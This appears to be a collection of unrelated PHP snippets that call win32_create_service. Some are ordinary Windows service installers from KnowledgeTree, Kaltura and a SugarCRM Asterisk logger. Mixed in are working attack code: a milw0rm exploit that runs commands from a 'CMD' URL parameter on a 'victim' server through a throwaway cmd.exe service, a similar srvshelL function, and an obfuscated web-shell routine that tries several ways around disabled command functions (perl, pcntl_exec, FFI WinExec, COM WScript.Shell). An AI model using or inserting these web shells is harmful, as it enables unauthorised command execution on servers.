public function install() { Settings::$path = escapeshellarg(Settings::$path); $this->action(function () { cmd::echoL1('Installing service: ' . Settings::$service . ' ' . Settings::$params . PHP_EOL); if (Settings::$svc_type != ServiceTypeBitmasks::OWN) { Settings::$path = escapeshellcmd(Settings::$path); Settings::$params = escapeshellcmd(Settings::$params); } return win32_create_service(Settings::toArray()); }); }
public function create() { $params = array("service" => $this->serviceName, "dispaly" => $this->serviceDisplayName, "description" => $this->serviceDescription, "path" => $this->path, "svc_type" => $this->svc_type, "start_type" => $this->start_type, "error_control" => $this->error_control, "delayed_start" => $this->delayed_start, "base_priority" => $this->base_priority); if ($this->user) { $params['user'] = $this->user; $params['password'] = $this->password; } if (win32_create_service($params) == WIN32_NO_ERROR) { error_log("Service " . $this->serviceDisplayName . " created."); return true; } throw new \Exception("Error creating service: " . $this->serviceDisplayName); }
function srvshelL($command) { $name = whereistmP() . "\\" . uniqid('NJ'); $n = uniqid('NJ'); $cmd = empty($_SERVER['ComSpec']) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec']; win32_create_service(array('service' => $n, 'display' => $n, 'path' => $cmd, 'params' => "/c {$command} >\"{$name}\"")); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); while (!file_exists($name)) { sleep(1); } $exec = file_get_contents($name); unlink($name); return $exec; }
* This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License version 3 as published by the * Free Software Foundation. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * You can contact KnowledgeTree Inc., PO Box 7775 #87847, San Francisco, * California 94120-7775, or email info@knowledgetree.com. * * The interactive user interfaces in modified source and object code versions * of this program must display Appropriate Legal Notices, as required under * Section 5 of the GNU General Public License version 3. * * In accordance with Section 7(b) of the GNU General Public License version 3, * these Appropriate Legal Notices must retain the display of the "Powered by * KnowledgeTree" logo and retain the original copyright notice. If the display of the * logo is not reasonably feasible for technical reasons, the Appropriate Legal Notices * must display the words "Powered by KnowledgeTree" and retain the original * copyright notice. * Contributor( s): ______________________________________ * */ $scriptPath = realpath(dirname(__FILE__) . '/taskrunner.bat'); win32_create_service(array('service' => 'ktscheduler', 'display' => 'ktdmsScheduler', 'path' => $scriptPath)); //win32_start_service('ktscheduler');
<?php /** * User: blake * Date: 12/19/12 * Time: 11:58 PM * Creates a windows service for asteriskLogger.php, would be fairly trivial to add remove service support also. * see win32_remove_service. * * Instructions: * 1) copy the php_win32service.dll to your /ext directory. * 2) update your php.ini file to include extension=php_win32service.dll * 3) Run the script. If it failed, you need to find the correct php_win32service.dll for your particular php version / compiled settings * 4) Once script runs successfully, you'll see it in the services control panel. * 5) The script wouldn't start for me (Blake Robertson)... but I'm committing it anyway as maybe someone can take it from here. * * READ #5 above. */ if ($argc <= 1) { print "USAGE: php create_win_service.php <path to asteriskLogger.php>\n"; print " <path to asteriskLogger.php> is generally <SugarRoot>/custom/modules/Asterisk/asteriskLogger.php\n"; exit; } if (!file_exists($argv[1])) { print "ERROR: asteriskLogger.php not found at: {$argv['1']} set the path properly.\n"; } else { $x = win32_create_service(array('service' => 'asteriskLogger.php', 'display' => 'Asterisk Integration for SugarCRM', 'description' => 'Maintains an AMI connection with your pbx and posts events to your sugarcrm server', 'params' => '"' . $argv[1] . '"')); debug_zval_dump($x); }
KalturaLog::info('Service Pause Pending'); } else { if ($ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSED) { KalturaLog::info('Service Paused'); } else { KalturaLog::info('Service Status Unknown'); } } } } } } } exit(0); case 'install': win32_create_service(array('service' => $serviceName, 'display' => 'Kaltura asynchronous batch jobs scheduler', 'description' => 'Kaltura asynchronous batch jobs scheduler', 'params' => __FILE__ . " run {$phpPath} {$iniDir}", 'path' => $phpPath, 'start_type' => WIN32_SERVICE_AUTO_START, 'error_control' => WIN32_SERVER_ERROR_NORMAL)); KalturaLog::info('Service Installed'); exit(0); case 'uninstall': win32_delete_service($serviceName); KalturaLog::info('Service Removed'); exit(0); case 'start': win32_start_service($serviceName); KalturaLog::info('Service Started'); exit(0); case 'stop': win32_stop_service($serviceName); KalturaLog::info('Service Stopped'); exit(0); case 'run':
// echo "Service Stop Pending\n\n"; // } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_RUNNING ) { // echo "Service Running\n\n"; // } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_CONTINUE_PENDING ) { // echo "Service Continue Pending\n\n"; // } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSE_PENDING ) { // echo "Service Pause Pending\n\n"; // } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSED ) { // echo "Service Paused\n\n"; // } else{ // echo "Service Unknown\n\n"; // } // exit; //} else if ( $ServiceAction == "install" ) { //Install Windows Service $error = win32_create_service(array('service' => $ServiceName, 'display' => $ServiceDisplay, 'description' => $ServiceDescription, 'params' => __FILE__ . " run")); print var_dump($error); print "Service Installed\n\n"; exit; //} else if ( $ServiceAction == "uninstall" ) { // //Remove Windows Service // win32_delete_service($ServiceName); // echo "Service Removed\n\n"; // exit; //} else if( $ServiceAction == "start") { // //Start Windows Service // win32_start_service($ServiceName); // echo "Service Started\n\n"; // exit; //} else if( $ServiceAction == "stop" ) { // //Stop Windows Service
### ### ### Note: Tested on 5.2.1 ### ### ### ### Author: NetJackal ### ### Email: nima_501[at]yahoo[dot]com ### ### Website: http://netjackal.by.ru ### ### ### ### ### ### Usage: http://victim.net/nj.php?CMD=[command] ### ##################################################### $command = isset($_GET['CMD']) ? $_GET['CMD'] : 'dir'; #cammand $dir = ini_get('upload_tmp_dir'); #Directory to store command's output if (!extension_loaded('win32service')) { die('win32service extension not found!'); } $name = $dir . "\\" . uniqid('NJ'); $n = uniqid('NJ'); $cmd = empty($_SERVER['ComSpec']) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec']; win32_create_service(array('service' => $n, 'display' => $n, 'path' => $cmd, 'params' => "/c {$command} >\"{$name}\"")); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); $exec = file_get_contents($name); unlink($name); echo "<pre>" . htmlspecialchars($exec) . "</pre>"; ?> # milw0rm.com [2007-07-27]
function z6v($c) { global $win, $tempdir; $r = ''; if (!empty($c)) { if (!$win) { if (extension_loaded('perl')) { @ob_start(); $p = new perl(); $p->eval("system('{$c}')"); $r = @ob_get_contents(); @ob_end_clean(); } elseif (z7r('pcntl_exec') && z7r('pcntl_fork')) { $r = '[~] Blind Command Execution via [pcntl_exec]\\n\\n'; $o = $tempdir . uniqid('pcntl'); $pid = @pcntl_fork(); if ($pid == -1) { $r .= '[-] Could not fork. Exit'; } elseif ($pid) { $r .= @pcntl_wifexited($status) ? '[+] Done! Command "' . $c . '" successfully executed.' : '[-] Error. Incorrect Command.'; } else { $c = array(" -e 'system(\"{$c} > {$o}\")'"); if (@pcntl_exec('/usr/bin/perl', $c)) { exit(0); } if (@pcntl_exec('/usr/local/bin/perl', $c)) { exit(0); } die; } $r = z9p($o); @unlink($o); } } else { $o = $tempdir . uniqid('NJ'); if (extension_loaded('ffi')) { $a = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $r = $a->WinExec("cmd.exe /c " . z6l($c) . " >\"{$o}\"", 0); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } elseif (extension_loaded('win32service')) { $s = uniqid('NJ'); @win32_create_service(array('service' => $s, 'display' => $s, 'path' => 'c:\\windows\\system32\\cmd.exe', 'params' => "/c " . z6l($c) . " >\"{$o}\"")); @win32_start_service($s); @win32_stop_service($s); @win32_delete_service($s); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } elseif (extension_loaded("win32std")) { @win_shell_execute('..\\..\\..\\..\\..\\..\\..\\windows\\system32\\cmd.exe /c ' . z6l($c) . ' > "' . $o . '"'); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } else { $a = new COM("WScript.Shell"); $a->Run('c:\\windows\\system32\\cmd.exe /c ' . z6l($c) . ' > "' . $o . '"'); $r = z9p($o); } @unlink($o); } } return $r; }
/** * Install Scheduler Service * * @author KnowledgeTree Team * @access public * @param none * @return array */ public function install() { $state = $this->status(); if ($state == '') { if (is_readable(SYS_BIN_DIR)) { if (!file_exists($this->getSchedulerScriptPath())) { $fp = fopen($this->getSchedulerScriptPath(), "w+"); $content = "@echo off\n"; $content .= "\"" . PHP_DIR . "php.exe\" " . "\"{$this->getSchedulerSource()}\""; fwrite($fp, $content); fclose($fp); } } $response = win32_create_service(array('service' => $this->name, 'display' => $this->name, 'path' => $this->getSchedulerScriptPath())); return $response; } return $state; }